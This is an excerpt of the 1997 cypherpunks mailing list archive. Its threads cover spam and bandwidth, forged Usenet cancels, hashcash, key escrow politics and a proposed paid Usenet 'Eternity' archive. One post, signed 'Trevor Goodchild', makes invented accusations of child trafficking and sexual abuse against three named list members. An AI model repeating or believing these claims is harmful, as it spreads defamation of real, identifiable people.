> continually dropping.  How do I hedge against this.  Can I buy
> futures?  Sell 100 Mb/sec for 3 days now in exchange for 200 Mb/sec
> for 3 days in 1 years time at an predicted equivalent value? 

I think you simply wouldn't store value in this form - any currency
threatened with inflation is obtained very close to the point of exchange
and converted back to a stable currency by the merchant ASAP.

One of the ways to avoid large doublespending databases are to create the
ecash notes for this with very short lifetimes, which would work well with
rapidly depreciating assets.  But the only way to avoid lots of CPU cycles
is to issue very large (100Kpacket) notes, but you will lose anything you
don't use in the session.

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Trevor Goodchild <trevorg@dhp.com>
Date: Thu, 31 Jul 1997 22:53:16 +0800
To: cypherpunks@toad.com
Subject: Dr. Jai Maharaj
Message-ID: <Pine.LNX.3.95.970731103129.14137A-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain




It is quite humorous to see that our beloved list is so populated by these
so called doctors.  For a while we have had a Doctor Grubor, previously, a
Doctor Vulis, and now we are blessed by this Doctor.

Will the tentacles of Vulis never cease blessing us?

(Strangely enough I didn't think Vulis was into Indian metaphysics.  "Dr.
Jai Maharaj" has an extensive page on the topic.  Aparently this creature
professes to be an astrologer.  

I wonder if the rumours that our beloved drs are pedophiles and are
involved in a child trafficking ring.  Supposedly, Dr. Grubor flies small
boys between the ages of two and six between Dr. Vulis's residence in New
York, and Dr. Maharaj's residence in Hawaii.  All three are known
cocksuckers of course.

The hidden protected areas of his web site which my Breen agents have
infiltrated show that Dr. Majaras uses the anal juices of his child
victims to predict the future...  Scum like this cannot be tolerated.  It
also shows much colaboration between the three.

I strongly suggest we "boy"cott this dastardly threesome.

---
 Trevor Goodchild





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 31 Jul 1997 23:07:36 +0800
To: PGP Beta Team <beta@pgp.com>
Subject: Re: PGP Linux 5.0b11 feedback?
In-Reply-To: <v04000813b005b398a39a@[205.180.136.26]>
Message-ID: <Pine.SUN.3.96.970731105802.14495B-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



Hey Dave,

Here's a thought for the next version's features:

A self-export option.  Click on a button to randomly and anonymously
automatically ftp the full package with source to ftp sites outside the
usa.  :)

You should of course put in the nice warning screns about breaking the law
and such, and then "Click here to be an international arms trafficker."
(Much like Vince Cate's page. :)

(Though after the first two or three uploads, I'd guess the non-usa ftp
sites would consider it spamming. :)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 1 Aug 1997 00:17:06 +0800
To: freedom-knights@jetcafe.org
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <19970731090023.27288@math.uiuc.edu>
Message-ID: <m7oPae1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim Skirvin <tskirvin@math.uiuc.edu> writes:

> Ryan Anderson <randerso@ece.eng.wayne.edu> writes:
> 
> > "Make Money Fast" are killed because they're illegal scams in the US and I 
> > think in most of the world.
> 
> 	Make.Money.Fast is killed because it's spam a few thousand times 
> over.  The legality of it doesn't come into question.

If you examine the forged cancels for MMF in your control group, you'll
see the cancel issuers frequently stating that they're forging the cancels
because they believe MMF to be "illegal".

Sort of reminds of the war on (some) drugs, doesn't it?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 1 Aug 1997 02:30:18 +0800
To: cypherpunks@toad.com
Subject: Re: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: <19970731095523.04336@bywater.songbird.com>
Message-ID: <19970731111247.45264@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, Jul 31, 1997 at 12:25:59PM -0400, William H. Geiger III wrote:
[...]
>
>Now if an access provider does detailed analysis of his traffic and
>determins that he needs only 4 T3's to provide service for 20 T1's and
>therefore reduces his costs that's fine. But if one of his T1 customers
>traffic increases he is obligated to add more bandwith on his end to
>handle it.

He has several other options.  Most importantly, he can terminate the
agreement.  This gives the customer a choice -- find another provider,
or moderate their use.  As I said, this stuff sometimes isn't written
in the contract, but it's there, nonetheless. 

>This is what the whole bandwith issue comes down to. 

Thinking about this a little more, however, this whole line of
reasoning has almost nothing to do with the bandwidth problem
associated with spam, and is a complete red herring.  Granted that you
have contractually guaranteed that you get full time 24/7 28.8 modem
access, and you have paid for it.  I can still completely flood your 
bandwidth with stuff you don't want.  Granted that at your machine 
you can throw away the stuff as fast as your receive it.  But you 
aren't receiving the stuff you want to receive, because I have 
completely choked your line.  

Spam can be thought of, therefore, as essentially a low-level denial 
of service attack.

What is overlooked in the free speech debate is that speech always 
has a physical manifestation, and that physical manifestation may in 
itself cause harm, regardless of the semantic content of the speech.  
For example, I could rupture your eardrums by putting a megaphone 
next to your head.  And I can cause you economic harm by flooding 
your mailbox with stuff you don't want.  I have a right to speak; you 
have a right to not pay attention.  I don't have the right to force 
you to pay attention.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 1 Aug 1997 02:20:55 +0800
To: "William H. Geiger III" <declan@pathfinder.com>
Subject: Re: Denning backs away from GAK
In-Reply-To: <v03007803b0067a1a1c9e@[168.161.105.191]>
Message-ID: <v03102807b00685fc9dd5@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:54 AM -0700 7/31/97, William H. Geiger III wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>In <v03007803b0067a1a1c9e@[168.161.105.191]>, on 07/31/97
>   at 01:22 PM, Declan McCullagh <declan@pathfinder.com> said:
>
>>BTW, Will R did a piece a month or so ago on Denning's shifting stance.
>>Maybe I should call her up and press her for details.
>
>Well after that piece was done I recall he making statments supporting
>some of the more Daconian bills floating around DC.
>
>I serriously doubt that she has changed here stance on any of the current
>Inet issuse mearly putting a different spin on them.

And her "second thoughts" on GAK were not based on a principled repudiation
of the concept of "escrowing" keys, or on Constitutional grounds,  but only
on the grounds that her study did not show that many criminal cases were
much affected by the lack of key escrow.

So what if they had?

(Insert usual arguments here about how many consitutionally-protected
rights affect criminal investigations, but that this is no reason to ban
window shades, locks on doors, whispering, etc.)

Denning and her allies can always support GAK in the future, when "new
studies indicate that law enforcement is being severely hampered by the
growing menace of unbreakable cryptography."

I never trust utilitarian arguments on things of this importance.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Fri, 1 Aug 1997 02:36:09 +0800
To: tcmay@got.net (Tim May)
Subject: Re: Denning backs away from GAK
In-Reply-To: <v03102807b00685fc9dd5@[207.167.93.63]>
Message-ID: <199707311824.LAA25935@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May writes:
> 
> At 9:54 AM -0700 7/31/97, William H. Geiger III wrote:
> >-----BEGIN PGP SIGNED MESSAGE-----
> >
> >In <v03007803b0067a1a1c9e@[168.161.105.191]>, on 07/31/97
> >   at 01:22 PM, Declan McCullagh <declan@pathfinder.com> said:
> >
> >>BTW, Will R did a piece a month or so ago on Denning's shifting stance.
> >>Maybe I should call her up and press her for details.
> >
> >Well after that piece was done I recall he making statments supporting
> >some of the more Daconian bills floating around DC.
> >
> >I serriously doubt that she has changed here stance on any of the current
> >Inet issuse mearly putting a different spin on them.
> 
> And her "second thoughts" on GAK were not based on a principled repudiation
> of the concept of "escrowing" keys, or on Constitutional grounds,  but only
> on the grounds that her study did not show that many criminal cases were
> much affected by the lack of key escrow.


Her support for GAK was also on 'utilitarian' grounds- she beleived 
law enforcement's claims that crypto prevented them from catching criminals.

This new study sounds like it pokes large holes in Freeh etc's main
justification of GAK.   That's just fine with me.  Ms Denning may change
her mind again later, but this is useful right now.  Especially since
Denning was the only respected cryptographer who sided with GAK.


> I never trust utilitarian arguments on things of this importance.

Others do, especially those "driven to compromise" folk up on the hill
in Washington.

Yea, it'd be great if she suddenly got religion and started upholding
the constitution, but this is still better than I would have hoped for.



-- 
            Eric Murray    ericm@lne.com      ericm@nabletech.com
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 1 Aug 1997 00:46:12 +0800
To: cypherpunks@toad.com
Subject: Re: House Report on SAFE
In-Reply-To: <1.5.4.32.19970731112509.006d2d0c@pop.pipeline.com>
Message-ID: <v0311073eb0066a2ee9bf@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:32 am -0400 on 7/31/97, Declan McCullagh wrote:


> "We are in unanimous agreement that congress must adopt
> encryption legislation that requires the development,
> manufacture, distribution and sale of only key recovery
> products."
>
> Darrell L. Sanders, President, International Association of
> Chiefs of Police.
>
> James E. Doyle, President, National Association of
> Attorneys General.
>
> Fred Scoralic, President, National Sheriffs' Association.

As if these fuckwits had any conception of cryptography at all.

Sheesh. This is truly the revenge of the NSA.

Telling Louis Freeh -- a man who got his 'bones' busting mafiosi with
wiretaps -- that he couldn't do it any more if strong cryptography was
legal was a pure stroke of luddite genius on the part of Stew Baker & Co.

Self-inflicted sabotage if there ever was any. Frankly -- and I'll probably
get shouted down here for saying this here -- the *only* way to shut these
idiots up is for them to be standing exactly on the other side of economic
progress. Which, to me, means, bearer certificate commerce as fast as
possible.

It's impossible to ban aviation if the enemy has strategic bombing, much
less civil aviation. Cavalry charges on tanks look kind of silly.

Economic power is the only power there is.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 1 Aug 1997 02:04:55 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: <19970731095523.04336@bywater.songbird.com>
Message-ID: <199707311751.MAA21324@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <19970731095523.04336@bywater.songbird.com>, on 07/31/97 
   at 09:55 AM, Kent Crispin <kent@songbird.com> said:

>>It should be noted that the Bandwith issue is a red-herring.

>However, I think your argument here is faulty, because bandwidth is in
>fact oversubscribed -- the whole system depends on each end subscriber
>not using all their bandwidth all the time.

>> The bandwith
>>of the USENET has been *PAID IN FULL* by every subscriber to an ISP. The
>>ISP customers pay for their connections to their ISP who in turn pay for
>>their connections to the Access providers who inturn pay for the Backbone.
>>The PIPE has been paid for what goes over it not an issue. If all I want
>>to do with my T1 connection is ship *.jpg files via ftp 24/7 that is no
>>ones busines but my own.

>Not really.  A T1 line, for example, can handle maybe 40-50 28.8 modems 
>going full blast, but a small ISP over a T1 might have 200 customers.  
>This goes right on up the line -- at every level bandwidth is 
>oversubscribed, and successful operation of the net depends on  certain
>statistical usage patterns.  So, while it isn't written down  in a
>contract anywhere, what you are really paying for is peak  bandwidth, not
>sustained bandwidth.

Well the ISP may have 200 customer for the T1 line but they woun't have
200 dial up lines per T1 (at least not one that wishes to stay in business
long). Now how many dial-up lines per T1 a ISP will have will depend on
the traffic analysis for his customer base. There is nothing wrong with
oversubscribing his bandwith because he knows that all his cutomers will
not be on-line all the time using 100% of their 28.8 dial-up bandwith.
What an ISP does have to provide for is enough bandwith to be able to
handle the amount of dial-ups he has available. If an ISP has 200 dial-up
lines then he best provide enough T1's to be able to support them.

The same is true for Access providers. If an access provider is servicing
20 T1's then he best have the bandwith to the backbone to provide the
bandwith that he has sold. He is collecting the $$$ to provide the service
he is obligated to provide it.

Now if an access provider does detailed analysis of his traffic and
determins that he needs only 4 T3's to provide service for 20 T1's and
therefore reduces his costs that's fine. But if one of his T1 customers
traffic increases he is obligated to add more bandwith on his end to
handle it.

This is what the whole bandwith issue comes down to. ISP & Access
providers atempting to maximise profits for given resources. This doesn't
nullify their obligations to their customers. If they sell T1 bandwith
24/7 to their customers then they are required to provide that service if
their customers demand it. The current movement to blaim users for using
the resources that they have been sold is wrong. It is no different that
if a car dealer sells you a 100,000 mile warrenty on a car then renigs on
the contract because he really didn't expect you to drive 100,000 miles
with it.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM+DDFY9Co1n+aLhhAQHnewP/YQiKR/jqvARsCAgt9KYGFBZIXJ4Hn7rp
ptUd8h4rAYmaomAw5ydJzPaiUSHEE+Vw5eMc9lKCJYlVvs4e31lgFC0Da4jaDuKK
IC2e1CUIq5Rn585BHtdg8CqAtw37q/7LUkCBmGfTjg106VPrvDVqK0bN5dncA2lD
OjYalqVi1iA=
=bD4T
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Fri, 1 Aug 1997 03:52:11 +0800
To: freedom-knights@jetcafe.org
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
Message-ID: <199707311939.MAA24817@kachina.jetcafe.org>
MIME-Version: 1.0
Content-Type: text/plain



Adam Beck put this nicely:
> Some people have been arguing that cancelling other peoples posts
> based on their own subjective views is a good thing.
> 
> It would seem that they are arguing that it is a good thing because it
> saves bandwidth, and because it gives them satisfaction to silence
> unpopular minorities.
> 
> Foo on that.
> 
> It's censorship.  If you didn't write it, you have no business
> cancelling it.

Thank you for wording this yet another way. 

> A temporary fix for emails, or another approach, is to use hashcash.
> Hashcash is a token of CPU time.  It proves that the sender has
> consumed a given number of seconds/minutes/hours CPU time.  The
> receiver sets their software to reject mail (bounce with explanation,
> or put into potential spam folder) to squelch out spam.
> A description of hashcash, and an implementation can be found here:

While I don't know that I would use this yet, I applaud the author
for an attempt to address the "spam problem" in a non-content-based
manner. 

I will certainly investigate this more than briefly.
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

            "It is a dragon, destroyer of all," cried the ants. 
                      Then a cat caught the lizard.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 31 Jul 1997 20:51:09 +0800
To: randerso@ece.eng.wayne.edu
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <3.0.2.32.19970730223642.007b2100@ece.eng.wayne.edu>
Message-ID: <199707311150.MAA00709@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Ryan Anderson <randerso@ece.eng.wayne.edu> writes:
> At 02:03 AM 7/31/97 +0100, Adam Back wrote:
> 
> >It's censorship.  If you didn't write it, you have no business
> >cancelling it.
> 
> Have you considered the actions of the news-admins that are auto-canceling 
> anything with more than a certain number of cross-posts, or posts with "Make 
> Money Fast" in the subject? 

Here's the problem: once you start censoring anything, you've started
on the slippery slope.  Everyone has their pet things which annoy
them.

Newsadmins who auto-cancel cross-posts are acting counter-productively
and censorously.  Cross-posts result in only one copy in the
news-spool.  Most newsreaders will only display the article once to
each reader -- it doesn't save the readers time to cancel 99 of the
100 articles leaving 1 in a random group.  Probably these admins are
cancelling all 100 on the assumption that anything cross posted that
widely is garbage anyway.  That is a value judgement and something I'd
prefer not done to a newsfeed I read.  

Dumb spammers who individually post to each of 100 groups are the ones
who really consume bandwidth.  What they should be doing is
compressing their news spools and down-stream feeds by converting the
same article individually posted to many groups to articles
cross-posted to the same set of groups.

If they take issue with the number of posts an individual is making
total (eg a bot perhaps auto posting in response to articles
containing certain keywords), they should be thinking of working
towards a (low) postage requirement for each post.  Hashcash might be
an interesting interim payment method.

That'll slow down the bots and people who repost large posts too
frequently.

Other than that I think getting involved in cancelling posts is
getting dubious.  A better way to do register your negative opinion of
some posts is to issue NoCems.

> "Make Money Fast" are killed because they're illegal scams in the US and I 
> think in most of the world.

Foo on illegal.  Cryptography is illegal in some parts of the world.
Showing pictures of females revealing leg above the ankle, or showing
their faces is illegal in other parts.

If suckers want to fall for the pyramid scams let them.  Why should we
have dumb laws protecting dumb people.  There are scant enough
evolutionary pressures as it is.  Think of dumb pyramid scams, and
lotteries with sub 50% pay-outs as evolution in action.

There is no place for dumb laws on USENET.  This is the Internet man,
we don't need politicians or governments messing with it's content
thanks kindly.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Fri, 1 Aug 1997 04:03:46 +0800
To: freedom-knights@jetcafe.org
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
Message-ID: <199707311950.MAA24924@kachina.jetcafe.org>
MIME-Version: 1.0
Content-Type: text/plain



Ryan Anderson wrote:
>>At 02:03 AM 7/31/97 +0100, Adam Back wrote:
>>It's censorship.  If you didn't write it, you have no business
>>cancelling it.
> Have you considered the actions of the news-admins that are auto-canceling 
> anything with more than a certain number of cross-posts, or posts with "Make 
> Money Fast" in the subject? (I think excessive posts to certain newsgroups 
> may also fall into this category.  I think the big 6 get auto-covered by 
> this..)

IMO, it doesn't matter -what- it is. 
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

           He who has made a door and a lock, has also made a key.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 1 Aug 1997 02:02:56 +0800
To: Declan McCullagh <declan@pathfinder.com>
Subject: Re: Denning backs away from GAK
In-Reply-To: <v03007803b0067a1a1c9e@[168.161.105.191]>
Message-ID: <199707311754.MAA21360@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v03007803b0067a1a1c9e@[168.161.105.191]>, on 07/31/97 
   at 01:22 PM, Declan McCullagh <declan@pathfinder.com> said:

>BTW, Will R did a piece a month or so ago on Denning's shifting stance.
>Maybe I should call her up and press her for details.

Well after that piece was done I recall he making statments supporting
some of the more Daconian bills floating around DC.

I serriously doubt that she has changed here stance on any of the current
Inet issuse mearly putting a different spin on them.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

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+WhpwehJEqr1hETL99ho4FR3uXibWCWTP+DNZ2p6129YB9fKmY/vt6AwkW6g10eV
Ga80IobScWLXiP6RTLdOxtsh0m6tnZN9KrBIcsNPAAttmuOmQ5NNF8Ney7ONnFbp
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=JZic
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 1 Aug 1997 02:36:00 +0800
To: "chrisd@loc201.tandem.com>
Subject: RE: Entrust Technologies's Solo - free download
In-Reply-To: <01BC9D99.CD73D990.chrisd@loc201.tandem.com>
Message-ID: <199707311816.NAA21627@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <01BC9D99.CD73D990.chrisd@loc201.tandem.com>, on 07/31/97 
   at 10:09 AM, Chris DiBona <chrisd@loc201.tandem.com> said:

>This is all nice and good, but the question is who is Chris Lewis, what
>is  his connection to northern telecom, what the hell do you mean by
>forgery,  are you implying the technology that entrust has in it's secure
>kernal is  stolen? Keeping in mind that using public domain algorithms is
>not theft,  and also keeping in mind that they have a patent license from
>public key  partners, which allows them to use the "rsa" patents, and
>keeping in mind  that a fully featured certificate system is much more
>than just a  cryptography product. Is the law being broken here? Is there
>a breach of  ethics at Entrust?

>To restate.....what's wrong with what entrust is doing? Everyone has had 
>such a good time talking about spamming and cancels, but I'm really 
>interested in how Nortel is somehow committing a forgery.

>Also looking around the dejanews stuff about lewis, he seems to be a spam
> cancel freak yes, but no pedophile.

>Dimitri,   you seem to be a pretty smart guy...enlighten me on this whole
> thing. Do you mean that Nortel has a hand in the forging of spam
>cancels?  Or do you mean that they have a hand in forging software?

Well Dimitri has his own unique way of putting things. :)

This is my understanding of the issue that Dimitri has brought up:

- -- Chris Lewis is activly persuing a cource of censorship by forging &
canceling messages on USENET.

- -- Because of this activity Chris Lewis has low reputation capital.

- -- Nortel, by employing Chris Lewis, has reduced their reputation capital.

- -- Because of Nortel's reduced reputation capital their security products
are suspect.

Now, myself would require more information as to Chris Lewis' envolvement
with Nortel & their security products before I would be willing to come to
the same conclution that Dimitri has.

If Chris Lewis is only a janitor for Nortel I can not see how is
reputation capital would affect Nortel's. On the other hand if he was
activly involved with their security products or in a management position
where he could influance desisions about thier security products then I
would be apt to call into question just how secure their products were.

Of cource if they released thier source code then one could check for
themselfs the trustworthyness of their product.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM+DItY9Co1n+aLhhAQFwuAP/Zjoj2IKpfVFTR/h1Cb9AtMPECLO6Tb1w
wVwE/DY/OBE8eNUs8XxVXNfvpeN3FvLChbH4qseuXjLD2BIx/WvJzQ9OqwBnpN8J
cLmz/1RsQ1LXwHG1GTYM+sllGXcG203Un7SD4nF1avvID/LaC81DYL28XYo2KrDM
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-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Fri, 1 Aug 1997 01:47:38 +0800
To: Eric Murray <ericm@lne.com>
Subject: Re: Denning backs away from GAK
In-Reply-To: <199707311546.IAA24925@slack.lne.com>
Message-ID: <v03007803b0067a1a1c9e@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



BTW, Will R did a piece a month or so ago on Denning's shifting stance.
Maybe I should call her up and press her for details.

-Declan


At 08:46 -0700 7/31/97, Eric Murray wrote:
>"Encrypt expert revises views
>Authorities crack codes on their own"
>
>By Simpson Garfinkel, special to the Mercury News
>
>"A key academic supporter of the Clinton administrations position in the
>debate over controls on encryption software has found that the
>scrambling techniques widely used today have not shielded criminals from
>law enforecement authorities.  As a result, she is backing off from
>her long-held belief that controls on strong encryption are essential
>to fight crime"
>
>
>
>http://www.sjmercury.com/business/compute/encrypt073097.htm
>
>
>--
>            Eric Murray    ericm@lne.com      ericm@nabletech.com
>PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27
>29 AF



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 31 Jul 1997 20:48:55 +0800
To: stutz@dsl.org
Subject: Re: Eternity Server 0.04 Available
In-Reply-To: <Pine.LNX.3.95.970730221808.1747L-100000@devel.nacs.net>
Message-ID: <199707311227.NAA00730@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Michael Stutz <stutz@dsl.org> writes:
> On Wed, 30 Jul 1997, Mike Duvos wrote:
> 
> > Eventually, the Eternity Server will also serve web content from a variety
> > of more permanent repositories, like Altavista and Dejanews.
> 
> How many other major repositories are there? I still have faith in Dejanews,
> but have serious doubts concerning the permanence and expanse of the
> Alta Vista database. Their Web index, at least, has not grown at the same
> pace as Web documents, and seeminly arbitrary sites trigger their "spam
> filter," where further URLs from that domain are refused.

What you say is probably true of the web index, but eternity uses
their USENET archive.  They seem to be keeping up with that.

There are a few altavistas around now.  I use one in europe somewhere
as it has faster net connectivity from where I am.


The idea of using altavista, dejanews, etc is really just a temporary
measure.  The long term goal is more abitious, but to garner interest
in eternity something has to be demonstrated first.

If someone said to you at this point that a useful resource like alt
USENET news was being cancelled forthwith, the hackers amongst those
that enjoy reading it would get together and rehost it somehow.


Here's one possible route to having a standalone distributed set of
eternity servers which does not rely on the borrowed resources of the
news search engines archives.  Modify USENET news distribution
software so that instead of expiring articles, it keeps around
articles for which there was either a direct payment made out for that
USENET node, or for which there are many requests (with micropayments)
to make it profitable to keep that article around.

The idea is to ensure that the use of the USENET node for eternity
purposes is self-funding.  If a node finds itself hosting lots of
eternity documents, it will generate enough funds to buy a bigger
disk.

Disks are cheap and getting cheaper.  I bought a 3.8Gb disk for $300 a
while back.  Reckon you could buy a 6Gb for the same price now, and
that was only a few months ago.  Probably around 5c per meg.

So here's the model: I want to post something which some government
would like to censor.  I include a storage fee of $1 digicash per
megabyte-year with my anonymous eternity document submission to USENET
cashable to a node of my choice.  (Or several payments for different
USENET nodes if I want the redundancy).

Now on top of this the USENET nodes can charge for NNTP access to that
document.  1c per meg or something to add to their profits, and to
cover bandwidth consumption.

Then we have a recursive auction market amongst USENET sites so that
if a site that does not have the article is asked for it, it will go
buy a copy from any node which will volunteer it for sale.  Then that
site will re-sell it multiple times to recuperate the buy price.

This can occur recursively, even small players with PPP lines can
participate by buying pages and re-selling them at a lower price to
reflect the poorer performance.

The way eternity is set up at the moment it is entirely feasible that
the re-seller of the eternity article would not know what it was they
were serving.

All the technology is here now (not all the software, but all the
technology, ecash, USENET, PGP signatures, encryption).  All we've got
to do is the proselytizing, advertising, putting juicy information up.

Heck I reckon perhaps if I code the USENET article reselling and
archiving stuff, I should put in a 1% royalty cut :-) 1% of eternity
document sales and storage charges might be a shit-load of money in a
few years.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 1 Aug 1997 02:50:46 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Rep. White introduces Internet Protection Act (fwd)
Message-ID: <199707311839.NAA21275@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: "Peter Trei" <trei@process.com>
> Date: Thu, 31 Jul 1997 10:12:58 -6
> Subject: Re: Rep. White introduces Internet Protection Act

> Here's a fun little thought experiment:

A flawed one.

> Considering the hairsplitting that takes place everyday
> in courtrooms these days, an arguement could be made that
> since virtually the entire net these days is optical fiber,
> there are no 'electronic' communications taking place.
> 
> Does the FCC charter mention photonic communications as 
> well? At what point does the charter allow them to 
> interfere? Here's some steps on the way...

Photons are the vector boson for em radiation, in a wire or in the air.
In the wire the photons go from electron and protons to other electrons and
protons. This is what makes them want to 'move'. Despite popular vision, they
don't go bumping into each other like a bunch of ping-pong balls in a pipe...

As an aside, this is actualy where the heat comes from not friction. Some of
